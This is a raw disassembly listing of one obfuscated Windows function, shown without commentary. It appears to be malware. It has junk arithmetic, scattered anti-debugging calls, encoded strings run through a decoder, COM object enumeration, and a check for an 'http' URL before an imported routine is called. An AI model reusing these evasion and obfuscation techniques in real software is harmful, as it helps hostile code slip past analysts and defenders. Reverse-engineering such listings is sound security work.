		movzx	eax, [ebp+var_525F9]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_525F9], al
		or	ebx, ebx
		jnz	loc_407F6E
		mov	ax, word_441396
		mov	[ebp+var_5264C], ax
		lea	eax, [ebp+var_52638]
		push	eax
		mov	eax, dword_44133C
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407F54
		mov	[ebp+var_5261A], 507Eh
		sub	[ebp+var_5261A], 1470h
		push	offset byte_41EBE0
		push	[ebp+var_52638]
		call	sub_406966
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_52650], edi
		mov	eax, [ebp+var_52614]
		mov	ds:dword_42EBE4, eax
		lea	eax, [ebp+var_525FC]
		push	eax
		mov	eax, dword_44133C
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		call	sub_40C188	; GetCurrentProcessId
		or	ebx, ebx
		jnz	loc_407F54
		cmp	[ebp+var_525FC], 0
		jz	short loc_40701C
		mov	[ebp+var_52620], 423Ch
		inc	[ebp+var_52620]
		jmp	loc_407F54
; ---------------------------------------------------------------------------


loc_40701C:				; CODE XREF: sub_406E3F+1C6j
		lea	edi, [ebp+var_52656]
		lea	esi, aIho	; "iHO$|"
		mov	ecx, 3
		rep movsw
		lea	edi, [ebp+var_5265C]
		lea	esi, aEOsj	; "E osJ"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_10001], 0
		mov	[ebp+var_2], 0
		lea	eax, [ebp+var_52600]
		push	eax
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		call	sub_40C218	; GetTickCount
		or	ebx, ebx
		jnz	loc_407F54
		lea	eax, [ebp+var_5263C]
		push	eax
		mov	eax, [ebp+var_52600]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	[ebp+var_52622], 6B7Eh
		add	[ebp+var_52622], 74C4h
		or	ebx, ebx
		jnz	loc_407F2B
		lea	edi, [ebp+var_5265D]
		lea	esi, byte_4413A4
		xor	ecx, ecx
		inc	ecx
		rep movsb
		or	[ebp+var_524CC], 0FFFFFFFFh


loc_4070BA:				; CODE XREF: sub_406E3F+BE2j
		and	[ebp+var_52604], 0
		and	[ebp+var_5260C], 0
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_40710B
		call	sub_40C2B4	; IsDebuggerPresent
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		call	sub_40C218	; GetTickCount
		or	ebx, ebx
		jnz	loc_407A0A
		mov	[ebp+var_52689], 0D8h
		sub	[ebp+var_52689], 13h
		jmp	loc_407204
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_406E3F+290j
		call	sub_40C2B4	; IsDebuggerPresent
		mov	[ebp+var_526A0], 17h
		mov	eax, [ebp+var_524CC]
		mov	[ebp+var_52698], eax
		lea	eax, [ebp+var_526B0]
		push	eax
		lea	eax, [ebp+var_526A0]
		push	eax
		mov	eax, [ebp+var_52600]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_52604]
		push	eax
		push	offset dword_446A34
		mov	eax, [ebp+var_526A8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C2B4	; IsDebuggerPresent
		or	ebx, ebx
		jnz	loc_407A0A
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_5260C]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_4071AB
		call	sub_40C188	; GetCurrentProcessId
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		call	sub_40C224	; GetVersion
		jmp	loc_407A0A
; ---------------------------------------------------------------------------


loc_4071AB:				; CODE XREF: sub_406E3F+34Fj
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_5260C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	dword ptr [ebp-5268Ch],	196Fh
		add	dword ptr [ebp-5268Ch],	74CAh
		or	ebx, ebx
		jz	short loc_407204
		call	sub_40C224	; GetVersion
		mov	eax, [ebp+var_5260C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		call	sub_40C2B4	; IsDebuggerPresent
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		call	sub_40C188	; GetCurrentProcessId
		jmp	loc_407A0A
; ---------------------------------------------------------------------------


loc_407204:				; CODE XREF: sub_406E3F+2C7j
					; sub_406E3F+397j
		lea	eax, [ebp+var_525EC]
		push	eax
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	[ebp+var_52624], 4A8h
		sub	[ebp+var_52624], 196Fh
		or	ebx, ebx
		jnz	loc_407EC8
		call	sub_40C224	; GetVersion
		and	[ebp+var_21784], 0
		jmp	loc_4079F8
; ---------------------------------------------------------------------------


loc_407244:				; CODE XREF: sub_406E3F+BC5j
		mov	[ebp+var_627CC], 39FEh
		mov	eax, 2C62h
		mul	[ebp+var_627CC]
		mov	[ebp+var_6280C], eax
		mov	[ebp+var_627CC], eax
		push	0
		call	sub_40C638
		pop	ecx
		lea	edi, [ebp+var_627E6]
		lea	esi, a0sfvu	; " 0SFvu "
		movsd
		movsd
		mov	[ebp+var_626C0], 2
		mov	eax, [ebp+var_21784]
		mov	[ebp+var_626B8], eax
		lea	eax, [ebp+var_626AC]
		push	eax
		lea	esi, [ebp+var_626C0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_626C0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_525E4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		call	sub_40C2B4	; IsDebuggerPresent
		or	ebx, ebx
		jnz	loc_4079F2
		mov	[ebp+var_627D0], 7AA8h
		mov	eax, 0A51h
		mul	[ebp+var_627D0]
		mov	[ebp+var_62810], eax
		mov	[ebp+var_627D0], eax
		and	[ebp+var_626C4], 0
		lea	eax, [ebp+var_626C4]
		push	eax
		push	offset dword_446A14
		mov	eax, [ebp+var_626AC]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_4413AD
		mov	[ebp+var_627EA], eax
		or	ebx, ebx
		jnz	loc_407676
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_626C8]
		push	eax
		mov	eax, [ebp+var_626C4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		lea	edi, [ebp+var_627F1]
		lea	esi, aRO0p	; "r= O0P"
		mov	ecx, 7
		rep movsb
		or	ebx, ebx
		jnz	loc_407676
		lea	edi, [ebp+var_627F9]
		lea	esi, a_Leiv	; ".;^LeIV"
		movsd
		movsd
		lea	edi, [ebp+var_62800]
		lea	esi, aIara	; " $iArA"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_6268F]
		push	eax
		push	[ebp+var_626C8]
		call	sub_406966
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_626A4], edi
		mov	[ebp+var_627D1], 3Ah
		movzx	eax, [ebp+var_627D1]
		imul	eax, 799Ah
		mov	[ebp+var_627D1], al
		and	dword ptr [ebp-5268Ch],	0
		jmp	short loc_4073F2
; ---------------------------------------------------------------------------


loc_4073C9:				; CODE XREF: sub_406E3F+5BFj
		mov	eax, [ebp-5268Ch]
		mov	al, [ebp+eax+var_6268F]
		cmp	al, 0Dh
		jz	short loc_4073DE
		cmp	al, 0Ah
		jnz	short loc_4073EC


loc_4073DE:				; CODE XREF: sub_406E3F+599j
		mov	eax, [ebp-5268Ch]
		mov	[ebp+eax+var_6268F], 0


loc_4073EC:				; CODE XREF: sub_406E3F+59Dj
		inc	dword ptr [ebp-5268Ch]


loc_4073F2:				; CODE XREF: sub_406E3F+588j
		mov	eax, [ebp+var_626A4]
		cmp	[ebp-5268Ch], eax
		jb	short loc_4073C9
		call	sub_40C224	; GetVersion
		mov	eax, dword_4413C7
		mov	[ebp+var_62804], eax
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_407464
		mov	[ebp+var_62814], 35D9h
		sub	[ebp+var_62814], 62B4h
		push	11h
		push	offset aPA3i4rl	; "P!-%\"<+A*#>!3I4RL"
		call	sub_406DB4
		push	[ebp+var_21784]
		push	eax
		lea	edi, [ebp+var_627C7]
		push	edi
		call	sub_40C6B0
		lea	eax, [ebp+var_627C7]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40C6D4
		add	esp, 1Ch
		jmp	short loc_4074C3
; ---------------------------------------------------------------------------


loc_407464:				; CODE XREF: sub_406E3F+5D8j
		mov	byte ptr [ebp+var_62814+3], 44h
		movzx	eax, byte ptr [ebp+var_62814+3]
		imul	eax, 194Bh
		mov	byte ptr [ebp+var_62814+3], al
		push	13h
		push	offset aP3i4a3i4rl ; "P*>-!)3I4A*#>!3I4RL"
		call	sub_406DB4
		push	[ebp+var_21784]
		push	[ebp+var_524CC]
		push	eax
		lea	edi, [ebp+var_627C7]
		push	edi
		call	sub_40C6B0
		call	sub_40C2B4	; IsDebuggerPresent
		lea	eax, [ebp+var_627C7]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40C6D4
		add	esp, 20h
		call	sub_40C194	; GetCurrentThreadId


loc_4074C3:				; CODE XREF: sub_406E3F+623j
		and	dword ptr [ebp-5268Ch],	0


loc_4074CA:				; CODE XREF: sub_406E3F+752j
		mov	eax, [ebp-5268Ch]
		lea	ecx, [ebp+eax+var_6268F]
		or	eax, 0FFFFFFFFh


loc_4074DA:				; CODE XREF: sub_406E3F+6A0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4074DA
		mov	[ebp+var_62698], eax
		call	sub_40C1F4	; GetProcessHeap
		mov	eax, [ebp+var_62698]
		cmp	eax, 0
		jz	short loc_4074FE
		cmp	eax, 0C8h
		jbe	short loc_407500


loc_4074FE:				; CODE XREF: sub_406E3F+6B6j
		jmp	short loc_407578
; ---------------------------------------------------------------------------


loc_407500:				; CODE XREF: sub_406E3F+6BDj
		mov	[ebp+var_627D4], 4A0Ch
		sub	[ebp+var_627D4], 47F0h
		cmp	[ebp+var_62698], 1
		jnz	short loc_40752B
		mov	eax, [ebp-5268Ch]
		cmp	[ebp+eax+var_6268F], 20h
		jz	short loc_407578


loc_40752B:				; CODE XREF: sub_406E3F+6DAj
		push	1
		push	offset byte_445E2C
		call	sub_406DB4
		push	eax
		lea	edi, [ebp+var_10001]
		push	edi
		call	sub_40C6D4
		mov	[ebp+var_627D6], 195Bh
		sub	[ebp+var_627D6], 6CFBh
		mov	eax, [ebp-5268Ch]
		lea	eax, [ebp+eax+var_6268F]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40C6D4
		add	esp, 18h
		call	sub_40C1F4	; GetProcessHeap


loc_407578:				; CODE XREF: sub_406E3F:loc_4074FEj
					; sub_406E3F+6EAj
		mov	eax, [ebp+var_62698]
		inc	eax
		add	[ebp-5268Ch], eax
		mov	eax, [ebp+var_626A4]
		cmp	[ebp-5268Ch], eax
		jb	loc_4074CA
		call	sub_40C224	; GetVersion
		and	[ebp+var_626A0], 0
		lea	ecx, [ebp+var_10001]
		or	eax, 0FFFFFFFFh


loc_4075AC:				; CODE XREF: sub_406E3F+772j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4075AC
		mov	[ebp+var_62698], eax
		call	sub_40C218	; GetTickCount
		mov	dword ptr [ebp-5268Ch],	0
		jmp	loc_407656
; ---------------------------------------------------------------------------


loc_4075CD:				; CODE XREF: sub_406E3F+823j
		mov	eax, dword_4413CB
		mov	[ebp+var_62814], eax
		mov	eax, [ebp-5268Ch]
		cmp	[ebp+eax+var_10001], 20h
		jz	short loc_4075EF
		and	[ebp+var_62694], 0


loc_4075EF:				; CODE XREF: sub_406E3F+7A7j
		cmp	[ebp+var_62694], 0
		jnz	short loc_407622
		call	sub_40C218	; GetTickCount
		mov	eax, [ebp+var_626A0]
		mov	edx, [ebp-5268Ch]
		mov	dl, [ebp+edx+var_10001]
		mov	[ebp+eax+var_10001], dl
		call	sub_40C218	; GetTickCount
		inc	[ebp+var_626A0]


loc_407622:				; CODE XREF: sub_406E3F+7B7j
		mov	eax, [ebp-5268Ch]
		cmp	[ebp+eax+var_10001], 20h
		jnz	short loc_40763C
		mov	[ebp+var_62694], 1


loc_40763C:				; CODE XREF: sub_406E3F+7F1j
		lea	edi, [ebp+var_6281A]
		lea	esi, a?Hg	; "`?^HG"
		mov	ecx, 3
		rep movsw
		inc	dword ptr [ebp-5268Ch]


loc_407656:				; CODE XREF: sub_406E3F+789j
		mov	eax, [ebp+var_62698]
		cmp	[ebp-5268Ch], eax
		jb	loc_4075CD
		mov	eax, [ebp+var_626A0]
		mov	[ebp+eax+var_10001], 0


loc_407676:				; CODE XREF: sub_406E3F+4EAj
					; sub_406E3F+522j
		and	[ebp+var_6269C], 0
		lea	eax, [ebp+var_6269C]
		push	eax
		push	offset dword_446A24
		mov	eax, [ebp+var_626AC]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	ax, word_4413D5
		mov	[ebp+var_62806], ax
		or	ebx, ebx
		jnz	loc_4079DD
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_626A8]
		push	eax
		mov	eax, [ebp+var_6269C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		mov	[ebp+var_627DC], 2948h
		sub	[ebp+var_627DC], 61D7h
		or	ebx, ebx
		jnz	loc_4079B7
		call	sub_40C188	; GetCurrentProcessId
		and	[ebp+var_52690], 0
		jmp	loc_407991
; ---------------------------------------------------------------------------


loc_4076F7:				; CODE XREF: sub_406E3F+B5Ej
		mov	[ebp+var_6283A], 38Fh
		movzx	eax, [ebp+var_6283A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_6283A], ax
		push	0
		call	sub_40C638
		pop	ecx
		mov	[ebp+var_62840], 208Eh
		sub	[ebp+var_62840], 618Fh
		mov	[ebp+var_62828], 2
		mov	eax, [ebp+var_52690]
		mov	[ebp+var_62820], eax
		lea	eax, [ebp+var_62818]
		push	eax
		lea	esi, [ebp+var_62828]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_62828]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_6269C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		mov	[ebp+var_62842], 70A7h
		sub	[ebp+var_62842], 7484h
		or	ebx, ebx
		jnz	loc_40798B
		mov	[ebp+var_62848], 0B87h
		add	[ebp+var_62848], 1425h
		and	[ebp+var_62814], 0
		lea	eax, [ebp+var_62814]
		push	eax
		push	offset dword_446A14
		mov	eax, [ebp+var_62818]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407959
		mov	[ebp+var_6284A], 6736h
		sub	[ebp+var_6284A], 7A89h
		cmp	[ebp+var_62814], 0
		jz	loc_407959
		mov	[ebp+var_6283B], 58h
		movzx	eax, [ebp+var_6283B]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_6283B], al
		lea	eax, [ebp+var_62838]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		mov	eax, [ebp+var_62814]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	sub_40C218	; GetTickCount
		or	ebx, ebx
		jnz	loc_407959
		mov	[ebp+var_6284C], 1863h
		add	[ebp+var_6284C], 0CCCh
		cmp	[ebp+var_62838], 8
		jnz	loc_407959
		mov	[ebp+var_6284D], 0A2h
		add	[ebp+var_6284D], 1
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_62814]
		mov	[ebp+edi*4+var_10FA4], esi
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_52690]
		mov	[ebp+edi*2+var_1177C], si
		lea	eax, [ebp+var_62838]
		push	eax
		push	0
		push	[ebp+var_10FAC]
		mov	eax, [ebp+var_62814]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		lea	edi, [ebp+var_6285B]
		lea	esi, aJA	; "j €+	 "
		mov	ecx, 7
		rep movsb
		or	ebx, ebx
		jnz	loc_407955
		lea	edi, [ebp+var_63869]
		lea	esi, aIs	; "`IS~"
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+var_6385A]
		push	eax
		push	[ebp+var_62830]
		call	sub_406966
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_63864], edi
		lea	edi, [ebp+var_6386A]
		lea	esi, byte_4413E3
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	[ebp+var_6385A], 0
		jz	short loc_407934
		cmp	[ebp+var_63864], 64h
		jnb	short loc_407934
		lea	eax, [ebp+var_6385A]
		push	eax
		movzx	eax, [ebp+var_2]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		call	sub_40C138


loc_407934:				; CODE XREF: sub_406E3F+ACFj
					; sub_406E3F+AD8j
		mov	[ebp+var_63860], 6C10h
		mov	eax, 74h
		mul	[ebp+var_63860]
		mov	[ebp+var_63870], eax
		mov	[ebp+var_63860], eax


loc_407955:				; CODE XREF: sub_406E3F+A80j
		inc	[ebp+var_2]


loc_407959:				; CODE XREF: sub_406E3F+994j
					; sub_406E3F+9B3j ...
		cmp	[ebp+var_62814], 0
		jz	short $+2
		cmp	[ebp+var_62818], 0
		jz	short loc_407977
		mov	eax, [ebp+var_62818]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407977:				; CODE XREF: sub_406E3F+B2Aj
		mov	[ebp+var_62854], 2899h
		sub	[ebp+var_62854], 3360h


loc_40798B:				; CODE XREF: sub_406E3F+953j
		inc	[ebp+var_52690]


loc_407991:				; CODE XREF: sub_406E3F+8B3j
		mov	eax, [ebp+var_626A8]
		cmp	[ebp+var_52690], eax
		jb	loc_4076F7
		jmp	short loc_4079F2
; ---------------------------------------------------------------------------
		mov	[ebp+var_627DE], 2C82h
		sub	[ebp+var_627DE], 4DD9h


loc_4079B7:				; CODE XREF: sub_406E3F+8A1j
		cmp	[ebp+var_6269C], 0
		jz	short loc_4079CC
		mov	eax, [ebp+var_6269C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4079CC:				; CODE XREF: sub_406E3F+B7Fj
		lea	edi, [ebp+var_62807]
		lea	esi, byte_4413E4
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_4079DD:				; CODE XREF: sub_406E3F+86Bj
		cmp	[ebp+var_626AC], 0
		jz	short loc_4079F2
		mov	eax, [ebp+var_626AC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4079F2:				; CODE XREF: sub_406E3F+491j
					; sub_406E3F+B64j ...
		inc	[ebp+var_21784]


loc_4079F8:				; CODE XREF: sub_406E3F+400j
		mov	eax, [ebp+var_525EC]
		cmp	[ebp+var_21784], eax
		jb	loc_407244


loc_407A0A:				; CODE XREF: sub_406E3F+2B3j
					; sub_406E3F+32Aj ...
		call	sub_40C1F4	; GetProcessHeap
		inc	[ebp+var_524CC]
		mov	eax, [ebp+var_5263C]
		cmp	[ebp+var_524CC], eax
		jl	loc_4070BA
		call	sub_40C2B4	; IsDebuggerPresent


loc_407A2C:				; CODE XREF: sub_406E3F+D01j
		push	0
		call	sub_40C638
		pop	ecx
		lea	edi, [ebp+var_52664]
		lea	esi, aY3	; "& y$`3"
		mov	ecx, 7
		rep movsb
		mov	[ebp+var_21786], 0
		jmp	loc_407AFF
; ---------------------------------------------------------------------------


loc_407A55:				; CODE XREF: sub_406E3F+CCDj
		call	sub_40C2B4	; IsDebuggerPresent
		lea	eax, [ebp+var_524E0]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		movzx	edi, [ebp+var_21786]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	sub_40C1F4	; GetProcessHeap
		or	ebx, ebx
		jnz	short loc_407AF8
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_62687]
		push	eax
		push	[ebp+var_524D8]
		call	sub_406966
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_6268C], edi
		lea	edi, [ebp+var_62694+1]
		lea	esi, aMNkY	; "M#nk	y"
		mov	ecx, 7
		rep movsb
		cmp	[ebp+var_62687], 0
		jz	short loc_407AF8
		call	sub_40C218	; GetTickCount
		cmp	[ebp+var_6268C], 64h
		jnb	short loc_407AF3
		lea	eax, [ebp+var_62687]
		push	eax
		movzx	eax, [ebp+var_21786]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		call	sub_40C138


loc_407AF3:				; CODE XREF: sub_406E3F+C94j
		call	sub_40C2B4	; IsDebuggerPresent


loc_407AF8:				; CODE XREF: sub_406E3F+C47j
					; sub_406E3F+C86j
		inc	[ebp+var_21786]


loc_407AFF:				; CODE XREF: sub_406E3F+C11j
		movzx	eax, [ebp+var_21786]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_407A55
		lea	eax, [ebp+var_525FC]
		push	eax
		mov	eax, dword_44133C
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		call	sub_40C188	; GetCurrentProcessId
		or	ebx, ebx
		jnz	loc_407F54
		call	sub_40C1B8	; RtlGetLastWin32Error
		cmp	[ebp+var_525FC], 0
		jz	loc_407A2C
		mov	ax, word_4413F3
		mov	[ebp+var_52666], ax
		lea	edi, [ebp+var_5266D]
		lea	esi, a747P	; "<747~P"
		mov	ecx, 7
		rep movsb
		mov	[ebp+var_2177D], 0
		push	offset byte_41EBE0
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C138
		call	sub_40C2B4	; IsDebuggerPresent
		mov	[ebp+var_525E8], 1
		mov	[ebp+var_1177E], 0
		jmp	loc_407C90
; ---------------------------------------------------------------------------


loc_407B9B:				; CODE XREF: sub_406E3F+E5Ej
		lea	edi, [ebp+var_52691]
		lea	esi, aUmxi	; "-Umxi"
		mov	ecx, 3
		rep movsw
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		cmp	[ebp+eax+var_524C8], 0
		jz	loc_407C89
		and	[ebp+var_525E8], 0
		push	4
		push	offset aLi4v	; "LI4V"
		call	sub_406DB4
		movzx	edi, [ebp+var_1177E]
		push	edi
		push	eax
		lea	edi, [ebp+var_525DF]
		push	edi
		call	sub_40C6B0
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_525DF]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C6D4
		mov	[ebp+var_52689], 8Dh
		add	[ebp+var_52689], 1
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C6D4
		push	1
		push	offset byte_445E25
		call	sub_406DB4
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40C6D4
		mov	[ebp+var_5268A], 0D8h
		sub	[ebp+var_5268A], 0F0h
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C6D4
		add	esp, 3Ch
		mov	[ebp+var_5268B], 37h
		sub	[ebp+var_5268B], 1Dh


loc_407C89:				; CODE XREF: sub_406E3F+D82j
		inc	[ebp+var_1177E]


loc_407C90:				; CODE XREF: sub_406E3F+D57j
		movzx	eax, [ebp+var_1177E]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_407B9B
		cmp	[ebp+var_525E8], 0
		jnz	loc_407EC8
		lea	edi, [ebp+var_52675]
		lea	esi, a@mc@_6u	; "@mC@_6u"
		movsd
		movsd
		push	1
		push	offset byte_445E23
		call	sub_406DB4
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40C6D4
		lea	edi, [ebp+var_52678]
		lea	esi, a61	; "61"
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_10001]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C6D4
		add	esp, 18h
		call	sub_40C224	; GetVersion
		cmp	ds:byte_41EBE0,	68h
		jnz	short loc_407D29
		cmp	ds:byte_41EBE1,	74h
		jnz	short loc_407D29
		cmp	ds:byte_41EBE2,	74h
		jnz	short loc_407D29
		cmp	ds:byte_41EBE3,	70h
		jz	short loc_407D2E


loc_407D29:				; CODE XREF: sub_406E3F+ECDj
					; sub_406E3F+ED6j ...
		jmp	loc_407E7D
; ---------------------------------------------------------------------------


loc_407D2E:				; CODE XREF: sub_406E3F+EE8j
		mov	[ebp+var_52606], 3BEEh
		movzx	eax, [ebp+var_52606]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52606], ax
		push	8
		push	offset word_445E1A
		call	sub_406DB4
		mov	edi, 0Ch
		sub	edi, dword_441374
		push	edi
		push	eax
		push	offset byte_41EBE0
		call	sub_40181E
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_407DA9
		push	0Eh
		push	offset byte_445E0B
		call	sub_406DB4
		mov	edi, 5
		sub	edi, dword_441370
		push	edi
		push	eax
		push	offset byte_41EBE0
		call	sub_40181E
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	loc_407E7D


loc_407DA9:				; CODE XREF: sub_406E3F+F37j
		mov	[ebp+var_525EE], 0


loc_407DB2:				; CODE XREF: sub_406E3F+1015j
		mov	eax, 0Ch
		sub	eax, dword_441374
		push	eax
		movzx	eax, [ebp+var_525EE]
		lea	eax, ds:441380h[eax]
		push	eax
		push	offset byte_41EBE0
		call	sub_40181E
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_407E0A
		lea	edi, [ebp+var_52690+3]
		lea	esi, aXfr	; " xfR"
		mov	ecx, 5
		rep movsb
		push	1
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F1E4
		call	sub_40C194	; GetCurrentThreadId
		jmp	short loc_407E7D
; ---------------------------------------------------------------------------


loc_407E0A:				; CODE XREF: sub_406E3F+FA0j
		movzx	eax, [ebp+var_525EE]
		mov	[ebp-5268Ch], eax
		lea	ecx, ds:441380h[eax]
		or	eax, 0FFFFFFFFh


loc_407E21:				; CODE XREF: sub_406E3F+FE7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407E21
		mov	esi, [ebp-5268Ch]
		add	esi, eax
		mov	edi, esi
		mov	[ebp+var_525EE], di
		call	sub_40C1B8	; RtlGetLastWin32Error
		inc	[ebp+var_525EE]
		movzx	eax, [ebp+var_525EE]
		cmp	byte_441380[eax], 0
		jnz	loc_407DB2
		push	0
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F1E4
		lea	edi, [ebp+var_5267E]
		lea	esi, aUkggv	; "UkƒƒV"
		mov	ecx, 3
		rep movsw


loc_407E7D:				; CODE XREF: sub_406E3F:loc_407D29j
					; sub_406E3F+F64j ...
		mov	[ebp+var_21788], 0
		jmp	short loc_407EB4
; ---------------------------------------------------------------------------


loc_407E88:				; CODE XREF: sub_406E3F+1082j
		movzx	edi, [ebp+var_21788]
		cmp	[ebp+edi*4+var_10FA4], 0
		jz	short loc_407EAD
		movzx	edi, [ebp+var_21788]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+8]


loc_407EAD:				; CODE XREF: sub_406E3F+1058j
		inc	[ebp+var_21788]


loc_407EB4:				; CODE XREF: sub_406E3F+1047j
		movzx	eax, [ebp+var_21788]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_407E88
		call	sub_40C194	; GetCurrentThreadId


loc_407EC8:				; CODE XREF: sub_406E3F+3EEj
					; sub_406E3F+E6Bj
		cmp	[ebp+var_525E4], 0
		jz	short loc_407EDD
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407EDD:				; CODE XREF: sub_406E3F+1090j
		mov	[ebp+var_52626], 5586h
		inc	[ebp+var_52626]
		cmp	[ebp+var_5260C], 0
		jz	short loc_407F02
		mov	eax, [ebp+var_5260C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407F02:				; CODE XREF: sub_406E3F+10B5j
		cmp	[ebp+var_52604], 0
		jz	short loc_407F17
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407F17:				; CODE XREF: sub_406E3F+10CAj
